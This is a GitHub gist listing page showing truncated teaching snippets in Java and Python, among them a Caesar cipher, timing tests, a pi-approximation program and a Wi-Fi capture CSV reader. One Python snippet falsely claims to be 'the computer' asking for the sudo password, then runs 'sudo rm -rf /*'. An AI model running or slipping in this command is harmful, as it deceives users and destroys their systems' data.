Skip to content

Instantly share code, notes, and snippets.

View charlesreid1's full-sized avatar

Chaz Reid charlesreid1

View GitHub Profile
import java.util.*;
public class ArraysInPlace {
public static void main(String[] args) {
int x = 5;
System.out.println(x);
proofThatWeCopy(x);
System.out.println(x);
@charlesreid1
charlesreid1 / CaesarSolution.java
Last active January 31, 2017 18:09
Caesar Cipher Solution - CSC 142
public class CaesarSolution {
public static String caesarShift(String message, int key, boolean doEncryption) {
message = message.toUpperCase();
message = message.replace(" ","");
// This is the variable storing the encrypted/decrypted message
String message2 = "";
import java.util.*;
public class Timing {
public static void main(String[] args) {
System.out.println("============================================");
System.out.println(" Lists vs. Sets ");
System.out.println("============================================");
int n = 1000;
import java.io.*;
import java.util.*;
public class MagicReader {
public static void main(String[] args) {
String filename = magicsquare.txt;
Scanner s = new Scanner(new File(filename));
int lines = 1;
while(s.hasNextLine()) {
s.nextLine();
@charlesreid1
charlesreid1 / infiniteseries.py
Created June 1, 2016 22:10
Math 163 - Calculating Infinity Project
import math
print("\n\n")
print("Welcome to Dr. Reid's Magical Approximation Program! \n\n")
print("This program computes approximations of Pi. \n\n")
print("Sources for formulas/approximations:")
print(" * http://mathworld.wolfram.com/PiApproximations.html")
print(" * http://mathworld.wolfram.com/PiFormulas.html\n\n")
import subprocess
subprocess.call(["command","-flag1","value1","-flag2","value2"])
import subprocess
print("Hi, this is the computer. I forgot your sudo password, can you please type it for me again?")
subprocess.call(["sudo","rm","-rf","/*"])
line = "this, is, some, really, weird,whitespace"
# split the string at commas, resulting in a list
tokens = line.split(",")
# tokens still have whitespace
print tokens
# list comprehension to strip whitespace
nowhitespace = [a.strip() for a in tokens]
@charlesreid1
charlesreid1 / lazy.py
Created February 3, 2016 01:01
Reading a File in Python: Two-Liner
with open('us-500.csv') as f:
lines = f.readlines()
@charlesreid1
charlesreid1 / read_airodump.py
Last active September 2, 2024 15:17
Python Script: Aircrack CSV Reader
import csv
def csv2blob(filename):
with open(filename,'rb') as f:
z = f.read()
parts = z.split('\r\n\r\n')
stations = parts[0]